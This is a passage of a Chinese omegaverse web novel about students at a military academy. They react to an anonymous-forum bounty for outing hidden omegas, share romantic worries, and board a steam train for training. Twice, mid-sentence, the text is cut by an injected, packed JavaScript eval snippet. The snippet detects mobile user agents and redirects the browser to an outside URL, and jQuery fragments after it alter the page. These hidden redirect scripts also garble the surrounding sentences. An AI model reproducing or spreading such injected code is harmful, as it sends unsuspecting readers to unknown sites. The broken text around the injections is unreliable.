她尚未来得及回答,安杰洛已经很自来熟的凑到她的屏幕前,“你都盯了一下午屏幕了,到底什么东西这么有趣?” 黎晓只来得及稍稍侧身让出视野,就听他说,“‘登记造册,阉割野猫’?——他们真是越说越过分了。” 浏览了这么多标题之后,黎晓其实也稍稍觉得有些不对劲儿了——野猫话题热度实在太高,有一些标题很明显意有所指。如果单纯就把“猫”理解成“猫”,读起来会感觉非常变态。 “……怎么过分了?” “他们讨论的不是野猫,而是隐匿性别在二军大就读的omega。”安杰洛说,“不知道是谁先发现——有omega入学的年份,学生档案的保密措施都会格外严格。今年校网不是又升级改造了吗?所以就有人猜测,又有omega入学了。” 他说着就点开了一个标题开始浏览,“哇奥……这都能说啊,就没人管管他们吗?” “……所以,他们提议‘登记造册,阉割……野猫’是指——”黎晓问。 “曝光校内的omega,确保他们被标记后再接纳他们吧。”安杰洛说,“倒也不是不能理解他们的顾虑——军校里这么多alpha,身边藏着一个不知什么时候会出意外的omega,换谁都会不安吧。但是——” 陆清源说,“我不会。” 安德烈紧跟着说,“我也不会。” 江海洋也忙说,“我也完全没问题,我们高中就是混校——混校都一百年了,完全运行良好。” 居鲁士看向成铭,又用胳膊肘拐了拐他,见他只是抬眼一瞟安杰洛,毫无表态的意思,不由自主的倾身离他远了些。 安杰洛看向众人,有些讶异,“……不会吗?” “当然不会。”安德烈反问,“换了你,你会吗?” “我没当过alpha,还真不好说。”安杰洛耸了耸肩,“不过在座的alpha都不会,那肯定就没问题——其实站在beta的立场,我也觉得这些人有毛病。要说不安,他们会比入学的omega更不安吗?怎么搞得仿佛他们才是潜在受害者似的?” 他顿了顿,看向黎晓,随即再次扫视众人,有些不太确定的说,“呃……我们当中没有omega吧?” 成铭敲着键盘,“需要轮流报一遍自己的性别吗?”他按下最后一个键,懒洋洋的抬眼,看向安杰洛,“——就像密党聚会那样。” 安杰洛和他对视了片刻,不由自主的坐正了身体,离开了黎晓的屏幕。 片刻后他笑道,“当然不用……反正有没有omega都跟我无关,我只是觉得生活在这种言论里,校内的omega们有些可怜。” “这样啊。”成铭看了他一会儿,无所谓的继续敲起了键盘。 “其实匿名论坛有这种言论,也没什么可大惊小怪的。”黎晓说,“匿名论坛嘛,本来就是让这些人畅所欲言的地方。要是想说性别平等,混校万岁,omega有权读任何学校,去哪里还不能说?这种话题正确得都要让人丧失表达欲了。我倒是觉得,二军大对omega很友好——你看就算是在匿名论坛,看到该把‘登记造册,阉割之’的言论,也会有人忍不住反驳,不如把持有这种观点的人‘登记造册,隔离之’。” “你是beta,当然能置身事外理性看待,”安杰洛叹了口气,“但omega就不一定了——危机感是人的第一感。你走进一间屋子,发现有一个人要杀你时,会注意到屋里其余10个人不想伤害你吗?虽然很遗憾,但是伤害的声音总是比友善的声音更引人注目,你看到的是争论,可omega们看到的,可能就是纯粹的恶意了。” “我还是觉得,”安杰洛说,“学校该管管这些匿名论坛了。万一有哪个意志不坚定的学生登上白隼站,一看居然有这么多人持有这种观点,他会不会觉得——既然这么多人都这么想,也许这种念头没这么变态,没这么邪恶,它也有它的道理呢?这岂不是很糟糕?你们别觉得我危言耸听,所有人都会为自己的立场寻找正当性,一旦找到了,就什么坏事都能做得出来了。” 30. 此间的少年(十一) 安德烈和陆清源离开苍鹭亭,依旧回学生会办公楼去。 校内网络升级改造,学生会也更新了官网,但原本是没有打算升级防火墙的。是陆清源察觉到学生会官网上有之前留下的后门,可能导致学生会经手的学生信息被泄漏,于是提议全面升级防护措施。 二军大的学生会向来都有这么一个传统——谁提议,谁执行。 于是这差事就落到了他头上。 距军训还有不到两天,官网升级也临近尾声。他打算赶在今天结束之前把任务完成,这样明天他还能抽出些时间,回家探望一下他的母亲和祖母——听说他的母亲久违的搬回了本宅,而他已经太久没有在疗养院之外的地方和她相聚了。 安德烈一路上都若有所思。 拉开墨得斯馆的门,走进办公楼时,他终于快步赶上来,询问,“你打算怎么对付白隼站?” 陆清源还真没料到,他思考半晌,问出的居然是这样的问题。 “网站本身是没有过错的。”陆清源说,“我并不打算对付白隼站。” “就算他们悬赏了你,并且还打算悬赏黎晓?” 陆清源稍稍感到烦恼,“……为什么要提黎晓?” 安德烈很纠结的看着他,讶异于他的迟钝,“对啊,为什么呢?你喜欢她——你看这个理由怎么样?” “……”陆清源拉开机房的门。 按照最初的打算,他将用四年的时间逐渐加深他和黎晓之间的羁绊,排除所有他已经想到的和没有想到的障碍,直到一切安排周全,再水到渠成的达成互相表白的结果。 所以他确实曾经设想过,如果在一切时机都还不成熟的情况下,他的朋友就察觉到了他的恋情,他该如何处理。 按照那个标准,此刻他应该这么回答——关心一个人可以有很多理由,并不一定非得喜欢她,才能关注她。 但也许从一开始他就错了——恋慕之心是无法规划的。 当你真的喜欢一个人时,你是无法亲口说出“我不喜欢她”的。 “我打算交给律师处理。”陆清源说,“找到发起悬赏的人,起诉他。寻找其他被悬赏的受害者,资助他们起诉。” “所以,你真的喜欢她?” “……”陆清源才发现,安德烈也是个纠缠不休的人,“我做的决定和我是否喜欢她无关。”片刻后他忽然意识到什么,“你说他们打算悬赏黎晓?他们已经知道她是……” “目前还没有。”安德烈翻开手机,调出悬赏页面给他看,“但这种悬赏已经出炉了。” 那些放言要给校内“野猫”登记造册的人,已经发布了悬赏——一切能提供校内omega资料者,一经证实后都可获得1000个万维币奖励,提供可调查的迹象者,每人10个万维币。 “悬赏金额很高。”陆清源皱了皱眉。 “1000币,兑成现金大概是20万左右——很高吗?”作为家族宝贵的继承人,安德烈的零花钱基本上是不设限的。事实上因为持有种种金融、服务机构的黑卡特权,需要他花钱办事的场合也不多。所以他对兑率有概念,对于预算20万块的事应该达到何种级别,却基本没概念。 “很高。”陆清源说。他和安德烈情形类似,但为了改善和母亲之间的关系,每年暑假他都会辗转在各种不知名的志愿机构做义工。所以,他很清楚20万块对普通家庭而言意味着什么——这基本相当于普通中产家庭一整年的收入了。 “寻常人付不起,”陆清源推测,“是不是A盟干的?” 安德烈将信将疑,“……我问一下。”他便打开通信群,发了条消息。 他开的是A盟的管理群——安德烈的曾祖父是A盟的发起人之一,祖父和父亲都曾是A盟的元老会员,父亲至今还是A盟的资助人。四个哥哥读大学时,也无一例外都是A盟会员。所以A盟甚至都没邀请过他,就自动把他算作了会员。 陆清源问,“……你真的不打算离开A盟?” 安德烈耸了耸肩,“又没加入,怎么离开?难道要特地发声明强调——我,安德烈·罗西,过去从未、如今并非,未来也绝不会加入A盟,A盟将我当成会员,皆因他们自作多情?——万一他们醒悟过来,从此不给我发内部文件了,那我岂不是亏大了?” 陆清源失笑。 虽如此,却还是提醒,“他们怕也是这么想——在我看来,‘安德烈·罗西’之名,比整个A盟加起来还要宝贵。想知道A盟的动向有无数方法。让他们借走你的名义,是最不合算的一种。” “名义?” “嗯,名义。或者用你们伦巴第人的说法——信用。” 安德烈思忖了片刻,“好吧,我考虑一下……”他有些遗憾的说,“原本我还想等老头子自己发现真相——最好等我把A盟搞垮后,他吹着胡子问我是怎么回事,我就回答‘你居然会认为我是站在A盟这边的’,老头子肯定鼻子都要气歪了。” 陆清源说,“他根本就不会在意。他只会觉得你用这么幼稚的手段反抗他,显然还没长大。” “这你就错了,老头子很在意A盟。他提拔的军官大半都是A盟出身,他把A盟当自己的嫡系。” 这时手机的提示音响起,安德烈低头扫了一眼,“今年A盟的入会考验是校内裸奔,没有针对omega的活动——悬赏应该跟A盟本身无关,只是某个人的自作主张。需要继续排查吗?” 陆清源摇头,“不,不必了。我还要安排人寻找发帖悬赏我的人,就让他们顺便留意一下吧。” ——两天之后,他们便将前往大树海展开为期最少三个月的军训。至少在这个学期内,这份悬赏不会给黎晓或其他一年级omega带来实质性的伤害。相对的,就算他排查出了嫌疑人,也同样没时间处理。 何况,安德烈是他的朋友。他不想利用安德烈和A盟之间的关系,去对付任何人。也许安德烈自己还没有意识到——他内心单纯明朗,其实并不适合扮演“潜伏者”的角色。 “好吧。”沉迷于背叛游戏的安德烈有些小小的失望,悻悻然回归了工作。 忙碌了一会儿,他才突然意识到——陆清源根本没有回答他的提问。 他估计,陆清源应该是不准备回答了。 “所以,”他于是探头出来,换了个更直接的说法,“如果,我是说‘如果’,另一个omega也对你有好感,并且你的家族也很中意她——你会给她机会吗?” “你会吗?”陆清源几乎是不假思索的反问。 安德烈纠结了片刻。 “我和你不一样,”他最终还是给出了诚实的答案,“我妈被送进疗养院那天我就决定了,这辈子绝对不会娶omega,更不会娶老头子安排给我的omega。我家就是魔窟,omega嫁进去绝对会疯掉。可你不一样。” “一样的。”陆清源依旧这么回答,“只不过,我并不认为这是我的过错。” “不一样。”这一次,安德烈很坚决的反驳了,“……老头子把我的妈妈,叫做‘苗床’。” “……”短暂的静默之后,陆清源轻轻的说,“对不起。” “……不要道歉啊。”安德烈烦恼的叹了口气,“我说这些又不是为了让你愧疚。只是想说,虽然我肯定不会接受家族安排的婚姻对象,但这不是你不接受的理由。” 陆清源再一次斟酌言辞。 “我也不会接受。”他说,“我是紫瞳。和你一样,我的出生也是精心谋划的结果……我无法容许自己重蹈覆辙,成为他们中的一员。但我并不认为自己身怀原罪,不能追求自己喜欢的omega。只是我追求她、接受她的爱慕,只能是因为我也爱慕她。一旦我知晓我和她的相遇,是出于某些人别有用心的安排,我对她的喜爱,即刻便要枯死了。所以,我不可能喜欢上任何家族属意的对象,不论她有多么无辜美好——我这么说,你能理解吗?” “……也不用这么认真的拒绝啊!”安德烈嘀咕着,在心底暗暗的叹了口气,但是,“我理解。” 随即忍不住感慨,“突然发现我也没那么糟糕——比起你这种心思又深、心防又重,还敢妄想爱情不期而至的男人,我根本就又开朗又诚实嘛。” 陆清源讶异的,“??” “什么?”安德烈比他还惊讶,“难道你没意识到,你这种心态非常糟糕?” 陆清源诚实的反驳,“至少我没怕得连喜欢上一个omega都不敢,我的心态比你健全、勇敢得多。” 安德烈:……你确定?! 片刻后,安德烈忽然意识到——这个要求多得合该孤老终身的男人,其实已经以完美符合他期待的方式,邂逅了这世上最适合他的女人。那个女人是omega,却像beta一样亲切平易,像alpha一样勇往直前,更像是不知他是紫瞳alpha一样,对他一视同仁。并且,在相遇的时机到来前她一直生活在世外桃源,几乎不可能被他的家族提前排查和影响。 她完美的就仿佛是神听到了陆清源的要求,于是专门为他创造出的命定之人一般。并且,她居然真的打动了陆清源那颗重重布防的心,让这个几乎不可能陷入正常爱情的人,品尝到了正常初恋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726861|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滋味。 当然,也让这个人错估了自己内心不健全的程度。 “……可恶。”安德烈最终只能这么抗议,“你这个神的私生子!” 亚丁的初秋是一幅色彩明媚的画。 天有时晴得过分,屋宇的尖顶沉静明艳,铺路的砂石明净无尘,杨树翻动的叶片下闪着银光,就连指尖吹过的微风都格外凉爽干净。怀着心事行走在亚丁初秋的阳光下,会忍不住往不切实际的乐观角度去思考。总觉得前途光明无忧,一切烦恼都不值一提似的。唐人的诗里说“春风得意马蹄疾”,亚丁的初秋也给人一样的感受。 但是现实又是怎样的呢? 和黎晓一样,从很小的时候起,成铭就知道自己迟早要离开嘉洛林前往更广阔的天地。但和黎晓不一样,直到很晚的时候,他才明白,自己将要去亚丁去读二军大。就像当年的洛珈选择前往萨克森考取皇家第一军事学院——进入顶尖的alpha才能涉足的领域,去和他们争夺荣誉与权力,这是每一个不安于既定规则的beta的必经之路。 他从未和黎晓提起过自己为什么选择二军大——他一直不擅长剖白自己的内心,何况,当他终于意识到那理由时,那混乱的一日已然到来,他用了足足两年时间才终于整理好了内心。而尽管他一直希望黎晓能走在更安稳平顺的道路上,这姑娘却还是踏上了这条荆棘之路。 她也从未告诉他她的理由,然而成铭其实是知道的。 ——黎晓是个怎样的女孩,他一直都很清楚。 凌河已经拽着江海洋和居鲁士走远了,他们两个人被有意无意的单独落在了后面。 一路上,成铭的手指和视线始终都没有离开手机。 想要发送信息的人就在身边,明明只要扭过头去直视着她,把心里的话说出来就行,他却做不到。 短信里的措辞改了又改,到后来连他自己也明白,他只是在拖延时间。 短信依旧没有被发出——他终于把手机收了起来,他想,无论如何都不能再继续逃避下去了。 就在他积蓄勇气准备开口时,却听到黎晓说,“……我会保护好自己的。” “我会保护好自己。”她看着他的眼睛,又说了一遍,“……遇到自己一个人解决不了的麻烦,也会找你商量。你不要担心。” 成铭愣了的看着她,意识到她已经把他想说的话说完了,半晌,点头,“嗯……记得就好。” 似乎也不必再做额外的叮嘱了——就算叮嘱了又有什么用? 她就是这么一个人——如果她认为这世上该有一个人站出来,那么她势必会成为站出来的那个人。如果她认为该有人成为一面旗帜、一个榜样,哪怕她心知这将吸引所有仇恨,招致本不必她承担的危险,她也势必会挺身而出成为那面旗帜、那个榜样。 从小到大,哪一次不是这样? ……只要她记得,她无需顾虑会牵连到他,愚勇的孤身冲锋在前,也就足够了。 可是,如果可以,他依旧希望她能待在岁月静好之地,单纯幸福的,按部就班的去当一个学者,做自己喜欢的事。 ——这究竟是他的私心,还是傲慢呢? 初秋的亚丁明媚得像一幅画,和她的身影过于相称了。 他已经历过一次,潜意识里始终畏惧这种令人过于乐观的美好。这世上或许有独占风景事事顺遂的天命之子,可他无疑不是的。属于他的美好之物,总是不那么坚牢。一旦松懈,便将破碎。 “但是,”他最终还是说出了他写了又删的那些话,“不要急于站出来,你现在站出来只是多一个靶子而已。先让他们认识到你有多优秀,你站出来才有意义。” 他不喜欢说这么冠冕堂皇的话,感觉实在太羞耻了。 而他也确实从来没这么一本正经的语气跟黎晓讲道理,这景象太罕见了,黎晓竟没有及时做出回应,反而目瞪口呆的看着他。 “你那是什么表情!”成铭在羞耻中涨红了脸。 谁知黎晓也随即红了脸颊,飞快的移开了目光,她的声音一时有些哑,“嗯,我知道了……我会先专心应对军训的。”但随即便不由自主的还嘴,“肯定不会莫名其妙就跳出来说我是……那什么啊。” “……那就好。” 他们忽然间都有些不知所措,各自看向不同的方向,心不在焉的并肩前行。 行至分别的路口,他们各自停住了脚步。 他们各自无言的对视着。 片刻后,成铭说,“军训见。” 黎晓于是长长的松了一口气,心情雀跃的回答,“军训见。” 31. 荆棘与蔷薇(一) 一 学生们提着行李,从校车上蜂拥而下,跟随着领队前往不同的站台。 原本空旷的车站台上就像撒了豆子一般,很快铺满了散乱的人群。 站台上没有工作人员,也没有其他的乘客,就只有一排排帝政时代风格的铸铁路灯和老旧排椅整齐肃穆的分列着。 那站台比学生们想象中更宽,顶棚也更高大庄严些。 脚下石材的地面上遍布岁月痕迹,破旧脏污,却依旧有着整齐到近乎凌厉的切缝。顶棚玻璃的天花板下,巨大的铁质骨架线条极简,在阳光下却无以比拟的肃穆宏伟。 通往树海七镇的火车有着同一个起点,亚丁北郊的这座火车站修建于加洛林皇帝末期。 尽管身为军校生,他们对那个年代的前辈们的宏功伟业心怀憧憬。可成长在导力技术日新月异的宪政时期的少年,对久远前帝政时期的技术总不免心怀优越感。 可当他们来到此地时,却不由就被先辈们留下的遗产震慑了。 ——他们甚至想象不出,这建筑是如何修成。光是仰望穹顶的高度,便已足令人生畏了。 站台上很快站满了人,却奇异的几无嘈杂之声。 学生们自觉地跟着领队,或者自己翻看军训指南、自寻标识,很快便各自找好了自己上车的位置。 火车尚还进站。按说这里是首发站,军训的日期也早已确定,不该出现人等车的状况。 但树海班列的维护和调度,常常并不取决于人的需求——学生们互相低声交流着信息——恐怕是大树海里潮汛又有新的变动,需要临时给列车加装特别的防护吧。 等待令人散漫。 学生们乘车的座次是按照院系和专业来排列的。但等了五分钟后,就几乎没什么人依旧留在自己上车的位置了。 系内互相打探一下所属军训班级,选了同一个班的再结伴去打探一下临近院系里谁选了同一个班…… 很快就大致按照军训班级,重新划分了小群。 导力系和黎晓选同一个班的一共三人,除安杰洛外,还有个名叫雷奥妮的女孩子。个子小小的,扎着丸子头,穿着《装备师杂志》的周边迷彩工装,背着一个一看就塞得满满的巨大迷彩背包,乍看去就像一只充满好奇的小松鼠。听说安杰洛拿到过少年装备师竞赛奖章,很快便和他一见如故。 不多时,安杰洛又拉来了医学院和管理系两个同班。 “我们班好像没有机械系的。”聊着聊着他忽然说起来。 ——确实没有机械系的,安杰洛拖着黎晓去问过。 “不知道学校是怎么想的。”安杰洛很困扰的抱怨,“装备组没有机械师会很麻烦啊。” 管理系的沙奎尔说,“只是军训,应该不会动用大型专业机械。” 而制式装备的日常机械维护,是基础军事技能——通常难不倒这些已经通过基础军事考核的军校生。所以他们其实不需要专门的机械师。 雷奥妮也点头,“简单的机械调整不必劳动机械师。复杂些的我们可以商量着来,我们有三个装备师……” 安杰洛苦笑着打断她,“恐怕没这么简单,”他瞟了黎晓一眼,“帝都有很多大A血统的回路贵族,他们不选班,直接根据各班的装备力分配。万一分来个蓝血或者紫瞳,没有机械师,怎么可能给他配出最合适的礼装?” 雷奥妮眨了眨眼睛,“你是说……” “就是他啊。我觉得我们班还是挺有机会的。”他转而问黎晓,“他有没有给你透风?” 黎晓猝不及防,“哎?” “陆清源啊,他没跟你提过他分到哪个班吗?” “……?”为什么要跟她提。 “你们不是认识吗?” 四双眼睛的注视之下,黎晓感到有些无语——她果然还是应付不来安杰洛。 “你跟他也认识的。” “我跟他只是认识而已,你不是还有同学跟他同专业吗?就没听到什么消息吗?” 黎晓莫名就觉得……他好像又在给她挖坑了。 “没有。”她说,“我没有请他帮忙打探,他也不关心这些。……你为什么不直接问陆同学?” 她语气已有些较真,安杰洛却丝毫不以为忤,“我跟他没这么熟,不太好意思问本人。本来以为你们比较熟……不过,你对陆同学就一点也不好奇?” “不怎么好奇。”黎晓说。 安杰洛笑道,“好吧好吧,是我庸俗了。” 气氛一时有些尴尬。 医学院的何塞开口缓解气氛,“我对他还挺好奇的。现有大体标本回路最多才有312条,据说回路过千才能出现紫瞳现象,但至今还没有解剖学上的依据。听说加洛林皇帝死前曾想把自己的遗体捐献给指定医学机构,最后因为种种原因没能实现……” 他神思飘远。所有人都被他语气中的遗憾和言辞之外的期盼给震撼了,内心不约而同的升起一股责任感——如果陆同学不幸分到了他们班,一定不能给这个人和他单独相处的机会! 雷奥妮赶紧岔开话题,“也就是说——我们最好还是选一个专门的机械师出来?” 正说着,忽而有风自背后吹来。 这时黎晓嗅到了一股很奇特的香味。 有些像香橙,但似乎要更甜更浓郁一些,却又奇异的并未丢失清爽感。 ……令她不由就在意起来。 她几乎是本能的扭头望过去,便见一个浅金色短发的女性alpha正从敞开的站台门外走进来。 黎晓很少去揣摩别人的第二性别,可只凭这个人从敞开的那两扇光影交割的门外走进来的剪影,她几乎就立刻判断出——这是一个alpha。 那女孩子很高,就穿着二军大战术系的秋季制服,也是这次军训的统一制服——但前往铁马河镇的路程有一天一夜,所以大部分人其实都没有换上制服——毕竟亚丁的初秋还是很炎热的。 但那制服穿在她的身上刚刚合适,毋宁说那制服仿佛就是为她而设计的。就算是陆清源,也未必比她更能展示这身制服的孤傲高冷。 她目不斜视的自人群中穿过,长靴踏着青石,敲出一串节奏恰好的空旷回音。很快便引起了许多人的注意。 但她对人群的注视没有丝毫的回应,浅蓝色的瞳孔无动于衷。只在穿过纵向通道,走到横向的站台前时,淡漠的抬眼看了下站牌。黎晓就站在那站牌下,于是当她目光顺势下移时,不经意就看到了黎晓。 她们的目光短暂的交汇,并很快错开了。 不光发色和瞳色,她整个人的颜色都很浅淡——黎晓忽的注意到——就像冰雕的女武神。不至于苍白,却有一种不食烟火气的生硬、冷漠感。 极度的alpha——除了alpha再无人能撑起这样的高傲。但又极度的不alpha——因为据说alpha都是充满领袖魅力的、被众人环绕的,而她看上去孤僻极了。 那种令她联想到香橙的甘甜又飒爽的香味儿,正是这个人散发出来的——这让黎晓感到十分的不可思议。 不过,据说alpha信息素本身并无独特的气味,对信息素不敏感的beta虽能察觉到气味的存在,却普遍不会有诸如“甘甜”“浓郁”之类的联想,甚至都很少会觉得那气味“清晰”到值得关注。 所以,那香橙的联想究竟是源于alpha独特的信息素,还是因为omega独特的嗅觉,也很难说。 而这事实上,也是黎晓第一次如此清晰鲜明的嗅到alpha信息素的香味。 直到那女孩子走过去很远,黎晓才意识到——在公众场合毫不遮掩的散发信息素,本质上也是一种十分挑衅、十分冒犯的行为。 “这就是帝都的蓝血贵族吧?”雷奥妮追着她的背影,“看上去有些可怕的样子。” “朱丽叶-蕾雅· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726862|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗贝尔。”回答她的是管理系的沙奎尔,“看到她领口上绣的鸢尾花了没?纯得不能再纯的蓝血,家里有神赐礼装那种。特别特别的可怕。” “认识?”安杰洛问道,“你的同学吗?” “我看上去像是能读得起伊岚公学的人吗?”沙奎尔自嘲的笑了笑,“校际对抗赛上遇到过。跟她同队的就是那位传说中的紫瞳,所有人都想见识一下紫瞳的实力,但是——”沙奎尔耸了耸肩,“比赛是擂台制,她一个人打了七个,直接终结比赛。” “……好厉害。” “厉害倒未必那么厉害,就是可怕。”但沙奎尔显然不想就此多做解说,“我有点应付不来她这种,可千万别分到我们班。” 安杰洛盯着她的背影又看了一会儿,忽然问,“你们有没有闻到,她身上好像有一种……” “很挑衅的气味?”沙奎尔问。 安杰洛点了点头,“嗯。” 沙奎尔拍了拍他的肩,“祈祷她别分到我们班吧。” 黎晓已不想再聊下去,便提醒他们,“火车要进站了。” 所有人都向发车的方向看过去。 车还没有到,但他们确实听到了远比他们熟知的声音更强烈的撞击和振动声。当高亢的汽笛声响起时,几乎所有人都被吓了一跳,捂住耳朵纷纷看向火车开来的方向。 那辆黑漆漆的钢铁巨兽就在众人的注视下缓缓开进了站台。 厚重的装甲几乎将整个车头都包裹起来,只露出高处的前窗和头顶的车灯。车头装甲两侧留出整齐三排气阀。 它是如此的巨大和沉重。当它刹车时,车轮和铁轨摩擦溅起刺目的火花。白色的雾气自气阀中喷涌而出,瞬间就淹没了车身。有那么短暂的一会儿,这巨兽仿佛是天国的列车碾云而来。威严又神圣。 所有人都目瞪口呆的看着它——这和他们常见的,有着优美流线造型的纯白高速导力列车截然不同。 但……似乎更能令人血脉贲张。 “蒸汽火车……”不知是谁说了一声,“我去!居然是蒸汽火车!” ——传说中的古代技术再一次震撼了这些从小浸淫在现代文明里的少年。 拜无所不包的战争游戏和幻想文学所赐,这种正史无载、只存在于奇闻异谈稗官野史之中的、与导力技术相对的蒸汽技术,早已被这一辈的少年所熟知。据说网上还有自称“朋克少年”的一群人,痴迷于复原这种技术。他们之中的文学爱好者甚至专门为这种技术构架了一套完整的世界观。 在这种“朋克”世界观里,导力是不存在的,一切技术都由蒸汽和机械来实现。但奇特的是,明明导力都不存在了,可第二性别却居然依旧存在。男Alpha依旧是英雄或者反面英雄,beta依旧是人生百态社会基石,女omega依旧只负责激化矛盾、制造意外、谈恋爱还有生孩子……可见人类对世界的构想,真的很难超越现实的偏见。 ……当然,以两种技术并存、互相仇恨和竞争为基础的世界观也存在。不过一旦牵扯到性别社会,就殊无二致。 但话又说回来,读这种小说依旧会关注到性别生态,说不定最超越不了现实偏见的是她本人才对。 她不由又望向女alpha走去的方向,却只看到了白雾之中被模糊掉一切特征的,林立的人影。 此起彼伏的惊叹声中,安杰洛再次说出了令黎晓猝不及防的话。 “……你好像一点也不吃惊。” 黎晓稍稍从散乱的思绪中回过神来,心想——你不也不吃惊吗?不但不吃惊,你还有余裕观察我吃不吃惊呢。 “嗯,”她说,“见过。” 这次轮到安杰洛惊诧了,“你乘坐过大树海专列?” “没,只不过,”她仰望高大的车头,感到久违的亲切和安心,“这样的车在嘉洛琳也有一辆。”她淡定的提醒安杰洛,“车停稳了,我们还是快些回去排队吧。” 32. 荆棘与蔷薇(二) 钢铁的堡垒奔驰在广袤无垠的大草原上 一个小时之前火车就已经驶入了大树海,空气中导力量子浓度的变化给身体带来的负担,大多数人已经适应过来。 车厢之间的通道开启,性情活泼喜爱交际的学生,已经开始穿梭在各个车厢,寻找即将和他们一起渡过长达一整个学期的军训生活的同班同学。 邻座的安杰洛和雷奥妮结伴去找坐在前一节车厢的杰奎尔。 黎晓则依旧坐在自己的座位上。 倒不是她“不合群”。只是导力量子浓度变化给身体带来的负担比她预想中更重一些,直到此刻她还没有完全适应。 这倒也正常——她来自贫导的加洛林区,本身又是对导力变化更为敏感的omega。 她安静的伏在座前桌上闭目养神——导力不适症最普遍的表现就是困倦,以及困倦得到疏解之后的亢奋。严重些的还可能会出现眩晕、乏力、脱水等症状。她的症状不严重,目前就只有困倦而已。 车厢里人来人往。 熙熙攘攘的杂音混合着规律的铁轮滚在铁轨上的振动噪音,充斥在整个空间,形成了一种别样的适合入睡的环境。 先前被安杰洛和雷奥妮推醒而造成的扰动,很快便在其中被平复。 她本不欲入睡,然而胡思乱想之中,竟不知不觉又进入睡梦。 梦里似乎听到了遥远的歌声,有模糊的少女的身影浮在柔光之中。 她在梦中感到不协。心想奇怪这是哪里啊,她不是在火车上吗?火车上封闭又杂乱,肯定不是眼前的模样。那她是在做梦吗?可是为什么会梦到不认识的女孩子? 等等……这个女孩子她真的不认识吗? 她伸出手想要拉住那个女孩子,询问她为什么会在自己的梦里。 却摸到了冰凉的、透明的墙壁。 她惊醒过来,发现自己正抓着陌生人的衣袖。 不——不是陌生人,是如极冰一样清冷孤高的女武神,先前在站台上擦肩而过的女alpha,朱丽叶-蕾雅·罗贝尔。 对方正用那双冰蓝色的眼瞳,疏离却礼貌的看着她。 黎晓忙松开了手坐正了,还耙了耙有些妨碍视线的头发。 “抱歉……我睡着了。” 她睡得迷糊,整个人都不是很有精神。可以想象自己此刻的仪容必定不是那么整齐。 这让她在面对这位看上去极冰一般纤尘不染的女骑士时,感到莫名的拘谨。 “……是我不该叫醒你。”出乎意料的,是很温柔的、略有些低沉的中性嗓音。 太过绅士了,甚至让黎晓有一瞬间怀疑自己错认了她的性别。 “没,我本来也要醒了。我是黎晓,”她尽量提起精神,“请问您找我有事吗?” 随即黎晓便意识到她的拘谨所从何来——对方说话的时候,始终用那双看似很冷漠的冰蓝色眼瞳,温柔耐心的凝视着她。 “不……我认错人了。”女alpha回答。 黎晓愣了一愣——她有些疑惑的想,她现在感受到的情绪,莫非是失望吗? “哦,这样啊……”但她确实因此而松懈下来,“您原本要找的是谁?也许我……” 她想说她也许能帮忙找一下——毕竟这节车厢20个人,有18个都是导力系的。她基本都认识。 但说的时候她下意识扫了一眼车厢,才发现车厢里居然就只剩下她一个人了——车厢通道上倒是有人在向这边张望,却显然是在等待时机好向这位高岭之花一般的女alpha搭讪。 她一时卡了壳,无措的眨了眨还有些迷糊的眼睛 而对方居然因此露出了笑意。 黎晓脸上霎时就涨红了——但她想这可怪不得她,谁能想到车厢里只剩一个人时,对方都能认错人呢? “看来我们错过了。”女alpha微笑着说。 她笑起来的模样恰到好处,友善,甚至有些青涩——就像是不习惯笑一般,倒给她天生清冷的气质之上添了些稚拙的可爱。 瞬间就从高岭之花,变回了他们身边的同龄人。 黎晓不觉就放松下来,心生亲切。“看来是了——你是在找同班同学吗?” “嗯。” “我该怎么称呼你?” 对方有片刻沉默。 “……尤利娅。”她说,“你可以叫我尤利娅。” 黎晓只疑惑了那么一瞬间——毕竟沙奎尔说过,她的全名为朱丽叶-蕾雅·罗贝尔。 但说到底,名字是对本人的称呼。不管是沙奎尔认错了人、记错了名字,还是她本人不愿以真名示人,但总之,既然她希望黎晓叫她尤利娅,那么就以尤利娅来称呼她便是。 黎晓便微笑着说,“你好,尤利娅,很高兴认识你。我是黎晓。” “嗯,黎晓。”她依旧言简意赅,回以微笑。 “我是济慈班的。”黎晓再一次自我介绍,“你呢?” 和煦的笑意霎时间再遭冰封,尤利娅面容再次冷淡下来,“济慈班?” “嗯。”黎晓倒不觉得害怕,只是不解,“有什么不对吗?” “不,没有。”尤利娅似是意识到了自己的失态,神色重又缓和下来,然而那种礼貌的疏离感却也随之回到她的身上,她回答,“我在雪莱班……我还要找人,就先失陪了。” 黎晓点了点头,“嗯……再见。” 她也稍稍有些失神——是成铭班的,她想。是成铭班的女alpha。 她一时恍惚,不觉就又想起了那个初秋的清晨。 安静下来之后,她便有些委顿和乏力。 把头直接贴在桌面上,她有些疲倦的想——糟糕,她似乎是在情绪低落的悲春伤秋。 这种突如其来的虚弱和反常情绪,往往意味着发作期的提前到来。 10天之内,从贫导的嘉洛琳区来到富导的亚丁,再进入十倍导力浓度的大瀚海——剧烈的环境变化很明显影响了她的生理周期,她的周期也许已经紊乱了。 所幸她一贯随身携带抑制剂。 她伸手取药的时候,尤利娅却忽然想通了什么一般,停住了脚步。 片刻后,她一扬头,飒爽的回身,大步向着黎晓的座位走回去。 